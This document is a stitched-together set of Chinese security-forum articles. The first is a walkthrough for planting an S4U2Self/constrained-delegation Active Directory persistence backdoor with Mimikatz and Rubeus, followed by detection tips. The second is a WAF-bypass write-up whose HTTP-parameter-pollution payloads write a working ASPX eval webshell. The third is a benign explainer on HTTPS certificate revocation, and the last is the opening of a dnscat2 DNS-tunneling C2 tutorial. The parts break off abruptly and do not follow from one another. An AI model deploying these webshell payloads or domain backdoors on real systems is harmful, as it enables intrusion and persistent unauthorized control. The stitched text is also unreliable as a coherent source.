## 三、部署S4U2Self后门
来回顾一下攻击者如何利用公开工具来植入S2USelf后门，然后使用该后门来获取管理员权限。
### 布置后门
假设攻击者已经可以利用`adm-compromised`账户临时获得域管（Domain
Admins）权限（这种场景下，后门只能在后渗透阶段中使用），并且想利用Shamir介绍的后门技术实现目标环境的持久化访问。利用该账户，攻击者可以执行如下步骤：
1、寻找具备SPN并且密码永不过期的用户账户。在企业环境中这种情况非常常见，比如许多服务账户就会满足这种条件。
图1. 使用PS命令获取满足条件的服务账户
2、使用许多攻击型安全工具（如Mimikatz）中的“DCSync”功能提取该账户对应的哈希。
图2. 使用Mimikatz提取服务账户哈希
3、在`krbtgt`账户上设置`S4U2Self`后门。在本例中，攻击者使用的服务账户为`svc-backdoor`，并且对该账户具备完整控制权限。我们会在下文中介绍如何选择这类账户。
图3. 设置S4U2Self后门
### 利用后门重新获取管理员权限
这里我们要介绍攻击者如何利用先前植入的后门重新获取“Domain Admin”权限。为了重新获取管理员权限，攻击者会利用`svc-backdoor`账户执行如下3个步骤：
1、触发后门，为任意账户申请TGT，这里我们以`administrator`账户为例。
图4. 利用Rubeus及`svc-backdoor`账户的Kerberos AES秘钥获取该账户的TGT
图5. `S4U2Self`仿冒`administrator`账户身份，使用该TGT获取只适用于该服务账户的TGS
图6. S4U2Proxy成功获取`administrator`账户的TGS
> 重要事项：由于我们针对的是Krbtgt服务的TGS，因此从原理上讲，获取到是适用于`administrator`账户的TGT。
2、获得TGT后，攻击者可以为所仿冒的账户（这里为`administrator`）在域控上获取CIFS及LDAP服务的TGS，然后将这些TGS注入当前会话中。
图7. 利用之前获取的TGT来请求有效的TGS
3、最后，攻击者已经成功恢复高权限，可以执行各种恶意操作，如转储其他用户的凭据等。
图8. 使用已恢复的TGT再次提取管理员凭据
## 四、对S4U2Self后门持久化应用的分析
根据Shamir在文中的介绍，攻击者必须在`msDS-AllowedToActOnBehalfOfOtherIdentity`属性中设置某个用户的SID值，才能使后门具备可用性。由于该账户是唯一能够触发后门的账户，因此攻击者必须谨慎选择目标账户。
图9. 在`krbtgt`账户中设置John Doe为后门账户
目标账户不一定是特权账户，可以是用户账户或者主机账户，但必须设置SPN属性才能保证S4U2Self攻击过程顺利进行。
### 使用计算机账户
计算机账户对攻击者来说非常具有吸引力，因为这些账户天然就具备SPN属性，可以作为较为隐蔽的攻击目标。
这种方法有唯一一个限制条件：计算机账户密码的自动更新问题。（默认情况下）每隔30天，计算机账户密码就会自动更新，对应的凭据也会发生变化，使后门失去作用。攻击者可以有两种方法绕过这种限制：
* 要么每隔30天重新连接至已入侵的主机，然后再次转储Kerberos秘钥
* 或者修改主机本地配置，使用`DisablePasswordChange`这个注册表项禁用密码自动更新机制（参考[此处](https://blogs.technet.microsoft.com/askds/2009/02/15/machine-account-password-process-2/)资料）
图10. 禁用计算机账户密码更新机制
### 使用服务账户
根据具体的目标环境，服务账户可能是隐藏`S4U2Self`后门的更好的选择。实际上，使用Kerberos身份认证的服务账户必须设置SPN属性，根据我们的经验，这些服务也会使用不过期的密码。这样一来该服务就是我们后门的绝佳目标，原因如下：
* 由于没有额外添加SPN，因此这种方式更加隐蔽，避免攻击过程意外暴露。
* 由于Kerberos密钥不会改变，因此这种方式更具备持久性
当然，即使管理员对服务账户做了防护，避免账户委派（即服务账户隶属于“Protected
Users”或者被标记为敏感账户），也不会对这种AD持久化技术造成影响。
## 五、利用约束委派
需要注意的是还有一类后门与这种技术类似，此时采用的是基于协议转换的约束委派（constrained delegation），这种方法可以实现相同目标。
这种方法并没有用到`krbtgt`账户的某个属性，而是直接在目标账户上进行配置，具体用到了`userAccountControl`属性以及`AllowedToDelegateTo`属性的`TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION`标志。需要注意的是，只有属于“Domain
Admins”组的用户能够设置后面一个属性。
### 布置后门
为了布置这种后门，我们可以稍微修改前面提到过的`S4U2Self`后门的布置过程。
* 识别出密码不过期且带有SPN的用户账户（与之前的命令相同）
* 提取该账户的哈希值（可以使用Mimikatz，与之前的命令相同）
* 配置该账户，以便通过协议转换进行委派（如下图1处红框），然后选择域控制器及LDAP协议（如下图2处红框）
图11. 设置约束委派后门
### 再次获得管理员权限
同样我们可以使用`svc-backdoor`账户再次触发后门。
1、使用该后门账户为任意用户获取LDAP服务的TGS，这里我们使用的是`administrator`账户。
图12. 利用Rubeus及`svc-backdoor`账户的Kerberos AES秘钥获取该账户的TGT
图13. `S4U2Self`仿冒`administrator`账户身份，使用该TGT获取只适用于该服务账户的TGS
图14. S4U2Proxy成功获得`administrator`账户在DC上LDAP服务的TGS
2、现在该TGS已经成功注入当前进程，同样我们可以使用经典的pass-the-hash（哈希传递）攻击获得管理员凭据。
图15. 成功入侵AD域
如上文所示，这两种方法都非常相似，唯一的区别在于后门所使用的属性（是我们想要访问的资源的属性，还是能够访问该资源的服务账户的属性）。
## 六、如何检测S4U2Self后门
既然我们已经知道S4U2Self后门的工作过程，也能够找到相应的检测机制。
### 使用Alsid解决方案
Alsid提供的解决方案能够实时检测对AD对象属性的修改操作，因此可以在后门安装的早期攻击过程中检测到攻击行为，如下图所示：
图16. 使用Alsid for AD检测S4U2Self
我们知道`krbtgt`账户是非常关键的资源，必须得到妥善保护。在正常配置情况下，这个账户不应该被委派。因此，一旦有人在`msDS-AllowedToActOnBehalfOfOtherIdentity`中添加了其他属性，Alsid就会向SOC团队报警，解释问题所在。
这同样适用于`msDS-AllowedToDelegateTo`属性。一旦该属性设置了使用协议转换进行约束委派，就表明配置出现了某些问题。如果线索指向的是域控制器，那么安全团队应该好好评估相关风险。
监控`krbtgt`账户并不是万全之策。如果某个管理员账户设置了SPN，那么攻击者还有可能选择该账户作为攻击目标，此时攻击者可以使用Kerberoast攻击以及适用于`krbtgt`账户的所有攻击方法。由于Alsid产品已经能够全面检测Kerberoast攻击，因此可以防御这种攻击场景。此外，如果攻击者想使用另一个特权账户来设置后门，就需要在该账户上设置SPN，该操作也会触发警报。
### 其他解决方案
我们还可以使用其他方案来检测这类攻击。
比如，我们可以使用非特权AD账户、[RSAT](https://www.microsoft.com/en-US/download/details.aspx?id=45520)工具包，配合如下PowerShell命令来检测基于`krbtgt`账户的后门：
PS C:\ > Import-Module ActiveDirectory
PS C:\ > Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
不幸的是，虽然这种方法对安全审计来说非常有用，但不适用于实时检测。我们还可以使用另一种方法，在`krbtgt`账户上设置SACL，这样该账户有任何修改时我们就能得到通知，分析具体改动，检测`msDS-AllowedToActOnBehalfOfOtherIdentity`属性的具体值。大家可以参考我们之前的一篇[文章](https://alsid.com/company/news/kerberos-resource-based-constrained-delegation-new-control-path)了解更多细节。
为了检测基于其他特权账户的S4U2Self后门，我们首先应该分析AD环境中带有敏感权限的每个内置组。除了较为知名的“Domain
Admins”组之外，还有其他许多组也具备特权性质。这些组的每个成员都不应该带有SPN属性，否则攻击者就可以利用Kerberoast以及本文介绍的后门技术发起攻击。
比如，我们应该重点保护如下几个特权组：
Domain Admins
Enterprise Admins
Administrators
Schema Admins
Domain Controllers
Group Policy Creator Owners
Server Operators
Account Operators
Cert Publishers
Key Admins
Enterprise Key Admins
Print Operators
Backup Operators
DnsAdmins
在实际环境中，我们应该递归查询这些组，获取所有成员，检查这些账户是否设置了SPN。
如前文所述，S4U2Self后门需要设置SPN，并且要求目标账户永远不更新密码。因此，我们可以使用如下PowerShell命令，寻找适用于`msDS-AllowedToActOnBehalfOfOtherIdentity`属性的目标账户：
PS C:\ > Get-ADUser -Filter * -Properties ServicePrincipalName, PasswordNeverExpires | ? {($_.ServicePrincipalName -ne "") -and ($_.PasswordNeverExpires -eq $true)} | 社区文章 |
## 环境介绍
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.
waf：某不知名waf
## 漏洞点情况：
新建模板处，可以直接写入内容到文件：
但是一写入正常的aspx语句就被拦截，连简单的输出语句都不行：
## bypass过程
一开始也试过诸多绕过方法，包括各种常见编码、chunked编码等等，都不太行。
然后尝试了一下，看有没有http参数污染（两个code参数）：
访问下生成的aspx文件：
可以看到确实是可以的，但是中间有个逗号，我们该怎么利用来写入aspx文件呢？
比如一个最简单的输出hello world:
<%@Page Language="C#"%> <% Response.Write("hello,world"); %>
之前我们通过测试知道<% Response.Write("hello,world"); %>这个会被waf拦截，删掉<%之后呢？
可以看到成功上传，那么思路就来了，将<%%>拆分就行，但是怎么让服务器忽略掉那个逗号呢？
自然是使用注释。
aspx是支持 “//”的注释方式的，然后我们需要使用换行，把我们的内容换到下一行避免被注释，于是：
看看生成的文件：
然后我们试着拆分前面被拦截的那个输出hello world的语句：
code=<%@Page Language="C#"%><% //&code=%0aResponse.Write("hello,world"); %>
成功生成：
## getshell
经过了好一番尝试，发现waf还过滤了Request等关键词，eval()可以上传，但是括号里面有内容比如eval(xxx)就不行。
参考了这篇文章里的注释符号：
<https://www.cnblogs.com/xiaozi/p/7566795.html>
将 eval(a)
拆分为
eval/*-/*-*/(a/*,*/)
Request就直接用加号进行连接，比如："Req"+"uest"
最终结合hpp来利用，上传菜刀一句话的payload为：
code=<%@ Page Language = Jscript %><% //&code=%0avar+a%3d"ev"%2b"al"%2b"(Reque"%2b"st.Item[\"c"%2b"o\"],"%2b"\"uns"%2b"afe\")%3b"%3b eval/*-/*-*/(a/*&code=*/);%>
这个生成的文件内容应该是：
<%@ Page Language = Jscript %><%//,
var a="ev"+"al"+"(Reque"+"st.Item[\"c"+"o\"],"+"\"uns"+"afe\");"; eval/*-/*-*/(a/*,*/);%>
上传：
成功拿到一个菜刀shell，当然，菜刀因为waf的原因不能用：
eval都行了，还怕拿不到shell？ | 社区文章 |
# 你不在意的HTTPS证书吊销机制
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：陈驰 （CFC4N）现任美团安全部技术专家，十年以上互联网产品研发经验，专注于分布式系统架构设计，目前主要从事安全防御产品研发工作。
## 缘起
偶刷《长安十二时辰》，午睡时，梦到我穿越到了唐朝，在长安城中的靖安司，做了一天的靖安司司丞。当徐宾遇害消失的时候我不在司内，当时的情形我不得而知。后来徐宾醒了，据他描述说“通传陆三”是暗桩，险些致徐宾于死地。而擅长大案牍术的高智商人才居然被一个普通通传的几句话骗至险境，实在丢了我的脸。陆三是通传，熟知靖安司的号令传递系统望楼信号，他是暗桩的消息，传遍整个机构。这让张小敬和姚汝能认为望楼系统已无法完成消息保密传送的功能，其实他们根本不了解这望楼。整个望楼系统由“传递系统+加密系统”组成，靖安司作为一个军事级别的机构，信息传递绝对是多重加密的。只看懂望楼图案，或者只有密码本都是破译不了密码的，对于通传陆三是暗桩的影响，也只需要更换密码本即可。这些可是我学了RSA非对称加密后设计的望楼系统，早就评估过这些风险了。即使HTTPS通讯中，丢了密钥也…嗯？如果HTTPS证书私钥丢了，会怎样？是不是也没法防范这个私钥被利用了？想到这个问题，我突然从梦中惊醒，去温故一下证书吊销机制。
#
## 疑问
* HTTPS的证书过期是谁来判断？
* HTTPS的证书过期是谁来判断？
* 证书的合法性又是谁检查的呢？
* 什么时候触发?
* 影响性能吗?
* 如何吊销证书?
* HTTPS的请求是客户端（浏览器）发起的，他是如何知道证书被吊销的？
* 验证HTTPS证书的过程是什么样的？
## HTTPS通讯过程
大家都清楚，HTTPS的握手是在TCP握手完成后，流程都熟的很，但还是要温故一下：
1.第一个阶段，完成 Client Hello、Server
Hello等握手。包含使用SSL版本、服务器和客户端的随机数、密码套件、数据压缩等参数响应。2.第二阶段，服务端把域名证书的公钥下发给浏览器（客户端），浏览器（客户端）校验证书合法性。3.第三阶段，客户端把自己的证书发送给服务端（证书登陆的情况下），服务端检测客户端证书等。4.第四阶段，完成密钥协商、对称加密密钥交换。
（简称解释：RN: Random Number；PMS: Pre Master Secret；MS: Master Secret）
对于第二阶段中的证书检验这块，相信很多人都不太了解，甚至都不知道会检验什么内容，那么下面我们就来了解一下。
### 证书完整性验证
使用RSA公钥解密来验证证书上的私钥签名是否合法，如果签名无效，则可认定证书被修改，直接报错。
### 证书有效性验证
CA在颁发证书时，都为每个证书设定了有效期，包括开始时间与结束时间。系统当前时间不在证书起止时间的话，都认为证书是无效的。
### 证书吊销状态检测
如果，证书在有效期之内需要丢了怎么办？需要吊销证书了，那么这里就多了一个证书吊销状态的检测。用户将需要吊销的证书通知到CA服务商，CA服务商通知浏览器该证书的撤销状态。来看一个证书吊销后的浏览器提醒：
Chrome返回了NET::ERR_CERT_REVOKED，并且拒绝继续访问，更不提供强制访问的接口，没了继续访问的手动点击链接。
### 验证发行者
HTTPS数字证书的使用分两个角色：
* 证书发行方issuer，有签名密钥的私钥。
* 证书申请方subject，使用证书公钥进行身份验证的用户 浏览器检查证书的发行者字段与证书路径中上级证书的subject字段相同。
为了增加安全性，PKI在实现时，多数都验证了发型方的密钥、签名等信息是否跟当前证书的密钥相同。但对于信任链来说，根证书自己签发的，也就是说它们的issuer和subject是一样的。
同时，这些CA根证书都是被操作系统、浏览器等直接打入系统的。比如：
### 检查域名(IP)规范
中间CA提供了对域名证书的管理以及颁发的颗粒度度控制。证书的生效范围会限于固定域名、域名范围（包括子域）或者固定IP。比如下图是https://www.baidu.com的HTTPS证书DNS信息。
上图所示，DNS范围包含了多个域名，同时二级以及二级以上域名都支持范围形式。以*通配义字符表示。但*.example.com的二级域名范围就不能包含a.b.example.com这个三级域名。同时，DNS范围也支持IP的，只是IP不支持范围形式，必须把所有IP列表都放入列表中。
### 检查策略约束
法律策略相关检测（略）。
### 证书的吊销状态检测方式
上面提到了浏览器（客户端）在验证证书合法性时的验证范围，我们暂时只关注证书吊销信息的检测，下面我们仔细来了解一下两种检测机制的实现原理。
## 1\. Certificate Revocation Lists (CRL)
CA会定期更新发布撤销证书列表，Certificate Revocation Lists (以下简称CRL)，RFC 5280：Internet X.509
Public Key Infrastructure Certificate and Certificate Revocation List (CRL)
Profile。CRL分布在公共可用的存储库中，浏览器可以在验证证书时获取并查阅CA的最新CRL。该方法的一个缺陷是撤销的时间粒度限于CRL发布期。只有在计划更新所有当前发布的CRL之后，才会通知浏览器撤销。各家签名CA厂商的策略不一样，有的是几小时，有的是几天，甚至几周。2015年，美国几所大学的学生论文中，统计了当时的CA证书吊销情况，如下图：
这个统计可以看出，CA证书厂商的CRL数量不一，大部分是30-50个，而GoDaddy有300多个CRL的地址，同时有近30W个证书是吊销状态的，文件大小平均达到了1M。
* ### 证书的CRL信息
CRL信息是CA在颁发证书时，写入在X.509 v的扩展区域的，比如alipay.com的证书信息：
可以看到，其CRL信息为http://crl3.digicert.com/SecureSiteCAG2.crl
以及http://crl4.digicert.com/SecureSiteCAG2.crl
* ### CRL 检测流程
可以想象一下，在浏览器去校验证书合法性时，还要去下载一个1M的文件后，再去校验。校验通过后才去连想要访问的网站服务器，这相当浪费时间、效率。同时，很多浏览器所处网络是有网络访问限制的，可能在一个局域网，比如我们村，或者物理距离非常远，存在严重的网络延迟问题。
## 2\. Online Certificate Status Protocol (OCSP)
在RFC2560X.509 Internet Public Key Infrastructure Online Certificate Status
Protocol – OCSP的描述中，浏览器从在线OCSP服务器（也称为OCSP Response Server）请求证书的撤销状态，OCSP
Server予以响应。这种方法避免CRL更新延迟问题。同样的，X.509
v3证书的OCSP信息也是存储在拓展信息中，如alipay.com证书那张图的绿色框内部分。
* ### OCSP 检测流程
浏览器在获得Web服务器的公钥证书后，开始验证公钥的合法性，这里会向该公钥的扩展信息中提供的OCSP Server地址发送OCSP
Response，获得响应后，确认证书有效，再继续跟Web服务器通信。
* ### OCSP的优点
相对于CRL方式，证书吊销后，CA Server可以立刻将吊销信息发送给浏览器，生效时间快。响应包内容短，不像CRL的响应包，都将近1M以上。
* ### OCSP的缺点
第一个缺点：浏览器的每次HTTPS请求创建，都需要连接CA OCSP Server进行验证，有的浏览器所在IP与CA OCSP
Server的网络并不是通畅的，比如我们村。而且，OCSP的验证有网络IO，花费了很长的时间，严重影响了浏览器访问服务器的用户体验。
第二个缺点：在浏览器发送服务器HTTPS证书序号到CA OCSP Server时，也将暴露了用户的隐私，将用户访问的网址透漏给了CA OCSP
Server。
* ### OCSP机制衍生出来的问题
设想一个场景，你是浏览器企业，研发的浏览器在检查证书吊销状态时，得不到OCSP server的响应，你会如何选择？
* 如果你选择拒绝该证书信息，并且拒绝后续的HTTPS通讯，那么这个方式称之为Hard-fail
* 如果你选择信任该证书，认为没有被吊销，那么这个方式称之为Soft-fail
如果是hard-fail模式，那浏览器对任何HTTPS服务器访问的先决条件都取决于OCSP
Server，这将是一个致命的单点故障，对于具有资深架构设计经验的你来说，你会这么选择吗？
如果是soft-fail模式，取不到OCSP Server的响应就忽略了，那么，要这个机制还有啥意义呢？要你有何用？
* ### OCSP Stapling
OCSP Stapling的方案是解决了CRL、OCSP的缺点，将通过OCSP Server获取证书吊销状况的过程交给Web 服务器来做，Web
服务器不光可以直接查询OCSP信息，规避网络访问限制、OCSP服务器离用户的物理距离较远等问题，还可以将查询响应缓存起来，给其他浏览器使用。由于OCSP的响应也是具备CA
RSA私钥签名的，所以不用担心伪造问题。
* 解决了访问慢的问题
* 解决了用户隐私泄露的问题
通讯过程如上，但对于Web服务器在去OCSP Server查询证书状态时，也同样面临无法获取到OCSP
Response的问题，在响应给浏览器时，浏览器也还是要面临hard-fail、soft-fail的选择问题，这很让浏览器头大。
* ### OCSP Must-Staple
面对hard-fail、soft-fail的问题，各家浏览器厂商的态度都不一样。同时，不管浏览器如何选择，都不能满足广大域名用户的需求，那么不如把这个选择交给域名用户自己。为此，OCSP
Must-Staple应运而生了，浏览器必须检测OCSP响应。域名证书创建时，自定义设定启用这个选项，将这个信息打入X.509
v3的扩展中，浏览器读取后，强制进行OCSP检测，走hard-fail模式。这个规范被起草在 X.509v3 Extension: OCSP
Stapling Required draft-hallambaker-muststaple-00 ，不过，暂未被采纳为RFC标准。
* ### CA厂商支持
目前支持该扩展的证书的CA厂商有Let’s Encrypt。如果使用的是openssl 1.1.0
以前的版本，可以使用11.3.6.1.5.5.7.1.24 = DER:30:03:02:01:05 来指定。RFC
比如生成csr的时候，在openssl.cnf中增加： [v3_req ]
basicConstraints = CA:FALSE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
subjectAltName = @alt_names
1.3.6.1.5.5.7.1.24 = DER:30:03:02:01:05如果是使用openssl 1.1.0或更高的版本，可以这样设置：[
v3_req ]
basicConstraints = CA:FALSE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
subjectAltName = @alt_names
## 各平台上浏览器对证书吊销的支持情况
### 1\. Mac Safari
在Mac OS X 10.7 (Lion)以后，Safari/macOS默认情况下，不检测CRLs、OCSP，走自己的key
chain体系。（资料比较少，apple官方也搜不到几条）
### 2\. Windows Internet Explorer
Windows Vista系统开始，Internet Explorer
7浏览器内置了CryptoAPI，来支持OCSP方式检测证书吊销情况。检测范围包括issuer发行商的证书、subject服务器的证书。为什么IE访问HTTPS的网站时，会比别的浏览器慢？你应该已经知道答案了。
### 3\. Mozilla Firefox
在2010年时，Mozilla Firefox的所有版本都支持OCSP方式检测。在Firefox
3里把OCSP检测机制设定为默认机制。在以后的版本更新中，Firefox针对中级证书跟域名证书做了不同的策略。 **中级证书的吊销状态验证**
在2015年，Firefox
37开始，针对中级证书的检测，Mozilla也启用了自研的证书吊销状况检查机制OneCRL来代替OCSP机制，目的还是想解决CRL、OCSP机制的缺点。而中级证书是不能采用OCSP
stapling方式，不允许被缓存的。所以…还有， RFC 6961 defines a mechanism for stapling OCSP
responses for CA certificates. Since FIrefox does not rely on OCSP to validate
intermediate certificates, we have no plans to implement support for this.
Firefox 官方短期内并无支持Multi-staple的打算。
**域名证书的吊销状态验证** 在Firefox的官方WIKI上，提到针对域名证书的吊销验证分为如下5个方案：方案一：Short-Lived
Certificates，默认情况下，针对有效期少于10天的证书，直接跳过验证，认为不安全。可以在security.pki.cert_short_lifetime_in_days参数里配置。方案二：OCSP
Stapling，跟RFC规范一样。如果security.OCSP.enabled的值为0，则忽略OCSP response。方案三：OCSP Must-staple，跟RFC规范一样。可以通过设置security.ssl.enable_ocsp_must_staple或security.ssl.enable_ocsp_stapling
参数来禁用。
方案四：OCSP，跟RFC规范一样。如果OCSP的响应在2秒（EV证书是10秒）内没返回，则直接忽略。
方案五：CRLite，类似Chrome CRLSets的一种检测机制，用于OCSP、OCSP
stapling失败后的机制。Firefox的官方计划把这种机制作来代替CRL方式作为主要的检测机制（OCSPOCSP stapling失败后）。
### 4\. Chrome
2012年，Chrome禁用了CRLs、OCSP检测: Google Chrome Will No Longer Check for Revoked SSL
Certificates Online ，使用了自行设计的证书校验机制 CRLSets
那么，Chrome这么选择的理由是什么呢？显然，通过上面CRL跟OCSP两种验证方式的比较来看，前者时效性不行，后者影响性能。那么，google
Chrome就决定自建证书吊销状态验证系统。Chrome的安全工程师Adam Langley在他的BLOG上写了一篇文章：《Revocation
checking and Chrome’s CRL》，对于Chrome的HTTPS证书验证这块，Adam
Langley可是非常有看法的，非常反对使用CRL、OCSP的方式来校验证书吊销状态，连续写了好几篇关于证书吊销状态检测的文章，同时，也在chromium的开发者主页上的安全板块有提到【What’s
the story with certificate revocation?】： Chrome’s primary mechanism for
checking the revocation status of HTTPS certificates is CRLsets.Chrome also
supports Online Certificate Status Protocol (OCSP). However, the effectiveness
of OCSP is is essentially 0 unless the client fails hard (refuses to connect)
if it cannot get a live, valid OCSP response. No browser has OCSP set to hard-fail by default, for good reasons explained by Adam Langley (see [Revocation
still doesn’t work](No, don’t enable revocation checking) and
https://www.imperialviolet.org/2014/04/19/revchecking.html).
Stapled OCSP with the Must Staple option (hard-fail if a valid OCSP response
is not stapled to the certificate) is a much better solution to the revocation
problem than non-stapled OCSP. CAs and browsers are working toward that
solution (see the Internet-Draft: http://tools.ietf.org/html/draft-hallambaker-tlssecuritypolicy-03).
Additionally, non-stapled OCSP poses a privacy problem: in order to check the
status of a certificate, the client must query an OCSP responder for the
status of the certificate, thus exposing a user’s HTTPS browsing history to
the responder (a third party).
That said, you can use enterprise policies to enable soft-fail OCSP
(http://www.chromium.org/administrators/policy-list-3#EnableOnlineRevocationChecks) and hard-fail OCSP for local trust
anchors (http://www.chromium.org/administrators/policy-list-3#RequireOnlineRevocationChecksForLocalAnchors).
Chrome performs online checking for Extended Validation certificates if it
does not already have a non-expired CRLSet entry covering the domain. If
Chrome does not get a response, it simply downgrades the security indicator to
Domain Validated.
See also this bug for more discussion of the user-facing UX:
https://crbug.com/361820.
但这也不是完美解决了这个问题，来自【An Evaluation of the Effectiveness of Chrome’s CRLSets】：
This means that Chrome’s CRLSet, which currently lists the serial numbers of
24,206 revoked certificates, reflects only 1.08% of the revoked certificates
collected by Websense in one hour.
这篇文章中提到CRLSet的最大问题是包含的证书吊销数据太少，个别情况下占了主流CRL证书吊销信息的2%不到。而且，CRLSets的更新也不是那么及时，chrome为了用户体验，为了性能，为了用户隐私，牺牲了一点点安全性，也是可以理解的。但好像对不起最安全浏览器的称号了。[手动狗头]
## 汇总
如上图，在2015年，Northeastern University、University of Maryland、Duke
University等几所大学的研究人员分析了市场上流行的五个浏览器（多个平台、多个版本），把各个浏览器在不同级别证书下的支持情况绘制了表格。（论文在参考文献中给出）从图中可以看出，我们印象中最安全的浏览器Chrome表现却让你大跌眼镜，在HTTPS的安全性这块，表现最差。上面我们也谈到，chrome为了访问速度隐私等用户体验考虑，忽略了CRL、OCSP等证书吊销状态检测机制，牺牲了TLS这块的安全性支持。而IE浏览器却出乎我们意料，在HTTPS的安全性这块，支持的非常好，可以说是这几个浏览器中最安全的了，可是…可是他网页打开速度慢啊…截至至今天（2019年7月16日），已经4年过去了，很多浏览器、WebServer的支持情况也有很大的变化，并不能反映出当下互联网的现状，这些数据也作为参考吧。
### 附：WebServer的支持情况
* The Apache web server has supported OCSP stapling since v2.3.3 (ref).
* The nginx web server has supported OCSP stapling since v1.3.7 (ref).
## 总结
### 证书泄露的危害
那么，证书丢了，会对网站安全产生很大影响吗？回头看下使用该证书的条件：
* 具备证书
* 具备域名
* 浏览器访问该服务器
如果几个都具备，那么你就是该网站的官方了。
在安全界，有个攻击手段，叫Man-in-the-middle
attack中间人攻击，如果证书被黑客拿到，搭建一个具备相同域名的网站，通过DNS污染的方式使得用户浏览器访问该域名，那么可以成为一个反向代理，把用户的请求解析后，伪造程客户端来跟真实的Web服务器通讯，从而获取双方通信的明文信息，达到攻击的目的。
那这种情况怎么防范？中间人攻击的防御方式是开启客户端对证书的认证，但你的证书私钥又丢了，那能咋办？通过本文前面章节的了解到，这种情况，也只能主动到CA厂商那申请证书吊销了，不管有几个浏览器支持，也得申请，毕竟，这损失能减少一点是一点。
### 证书泄露了怎么办？
证书泄露了怎么办？从浏览器的支持情况来看，好像及时申请吊销了证书，也不能对丢失的证书起到太大的防范作用，很多浏览器并不是很支持的嘛。
不过，多少也能避免一些损失，毕竟IE浏览器对这块的支持力度还是很大的嘛。
### 注
本文的参考文献，大部分都是5-6年前的资料，这么多年过去了，互联网技术产品日新月异，里面很多结论早已不符合现状，尤其是浏览器当今对证书吊销状态检测的支持情况。部分内容，仅作为参考，便于读者去了解技术变迁的背景知识。
## 参考文献
* RFC3280 Internet X.509 Public Key Infrastructure Certificate
* High-reliability OCSP stapling and why it matters
* Security Certificate Revocation AwarenessThe case for “OCSP Must-Staple”
* Security Certificate Revocation AwarenessSpecific Implementations
* Security Sidebar: My Browser Has No Idea Your Certificate Was Just Revoked
* SSL certificate revocation and how it is broken in practice
* Revoking Intermediate Certificates: Introducing OneCRL
* Revocation doesn’t work (18 Mar 2011)
* Revocation checking and Chrome’s CRL (05 Feb 2012)
* No, don’t enable revocation checking (19 Apr 2014)
* Revocation still doesn’t work (29 Apr 2014)
* An End-to-End Measurement of Certificate Revocation in the Web’s PKI
## 结束
嗯？话说《长安十二时辰》中望楼消息传送机制的加固呢？嗨，梦都醒了，谁还记得这事啊。
### 团队介绍
美团安全部的大多数核心人员，拥有多年互联网以及安全领域实践经验，很多同学参与过大型互联网公司的安全体系建设，其中也不乏全球化安全运营人才，具备百万级IDC规模攻防对抗的经验。安全部也不乏CVE“挖掘圣手”，有受邀在Black
Hat等国际顶级会议发言的讲者，当然还有很多漂亮的运营妹子。目前，美团安全部涉及的技术包括渗透测试、Web防护、二进制安全、内核安全、分布式开发、大数据分析、安全算法等等，同时还有全球合规与隐私保护等策略制定。我们正在建设一套百万级IDC规模、数十万终端接入的移动办公网络自适应安全体系，这套体系构建于零信任架构之上，横跨多种云基础设施，包括网络层、虚拟化/容器层、Server
软件层（内核态/用户态）、语言虚拟机层（JVM/JS
V8）、Web应用层、数据访问层等，并能够基于“大数据+机器学习”技术构建全自动的安全事件感知系统，努力打造成业界最前沿的内置式安全架构和纵深防御体系。随着美团的高速发展，业务复杂度不断提升，安全部门面临更多的机遇和挑战。我们希望将更多代表业界最佳实践的安全项目落地，同时为更多的安全从业者提供一个广阔的发展平台，并提供更多在安全新兴领域不断探索的机会。
### 一个广告
美团安全2019年招聘火热进行中~如果你想加入我们，欢迎简历请发至邮箱[email protected]。 | 社区文章 |
# 【技术分享】利用PowerShell和Dnscat2绕过防火墙（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：blackhillsinfosec.com
原文地址：<http://www.blackhillsinfosec.com/?p=5578>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
想象一下这种情况，渗透测试人员对目标内网的一台服务器进行测试时，如果该服务器只允许一些特定服务的流量出站，其它出站流量都被防火墙屏蔽时，测试人员使用正常的命令和控制服务方法就可能无法有效控制目标。在这种情况下，测试人员还有一个最后的选择–通过DNS建立命令和控制服务。
使用DNS建立命令和控制服务，实际上就是将C2通信数据嵌入到DNS查询数据中，DNS查询数据穿越互联网DNS分层结构最终到达一个权威DNS服务器，而该DNS权威服务器正好就是你的C2服务器。然后，C2服务器将应答数据嵌入到DNS响应数据中，该DNS响应数据最终被转发给C2客户端，完成数据交互。
Ron
Bowes写的[dnscat2](https://github.com/iagox86/dnscat2)在信息安全相关应用中是一个好用的DNS隧道工具。dnscat2通过一个预共享密钥支持通信加密、认证，并支持多个同时会话，和SSH有相似的隧道、命令shell，并支持大多数流行的DNS查询类型(TXT,MX,CNAME,A,AAAA)。dnscat2客户端采用C语言编写，服务器端采用ruby语言编写。
最近，我使用PowerShell脚本重写了[dnscat2客户端](https://github.com/lukebaggett/dnscat2-powershell)的所有功能，不仅如此，我还添加了一些PowerShell特有的功能，因此，现在我们有了一个PowerShell版的dnscat2客户端。PowerShell在攻击者和渗透测试人员中非常流行，这是因为它非常好用，而且由于它支持大多数版本的Windows系统，因此它还存在不错的通用性。在这篇文章中，我将给大家展示如何同时使用dnscat2工具和PowerShell脚本绕过防火墙。
dnscat2除了支持常见的DNS服务器，它也可以将DNS查询数据直接发送到dnscat2服务器，这对我们的测试很有用。在这篇文章中我们的示例只使用了本地连接，不过，你也可以使用DNS权威服务器。
**安装**
[在dnscat2的“README.md”文件中，对于如何安装dnscat2服务](https://github.com/iagox86/dnscat2#server)，Ron
Bowes提供了相应的教程。当服务安装好以后，你可以使用类似于下面的命令开启该服务：
由于nslookup命令使用的时序DNS事务ID值在最初并不是随机的，因此为了PowerShell客户端能正常工作，需要使用“–no-cache”参数。
同时，为了使用dnscat2-Powershell脚本，目标Windows机器需要支持PowerShell
2.0以上版本。dnscat2-Powershell函数可以通过下面的脚本和命令来加载：
还有一种方法，你可以在PowerShell控制台中使用下面的命令，远程下载并加载脚本：
脚本加载以后，运行下面的命令，开启dnscat2-Powershell服务：
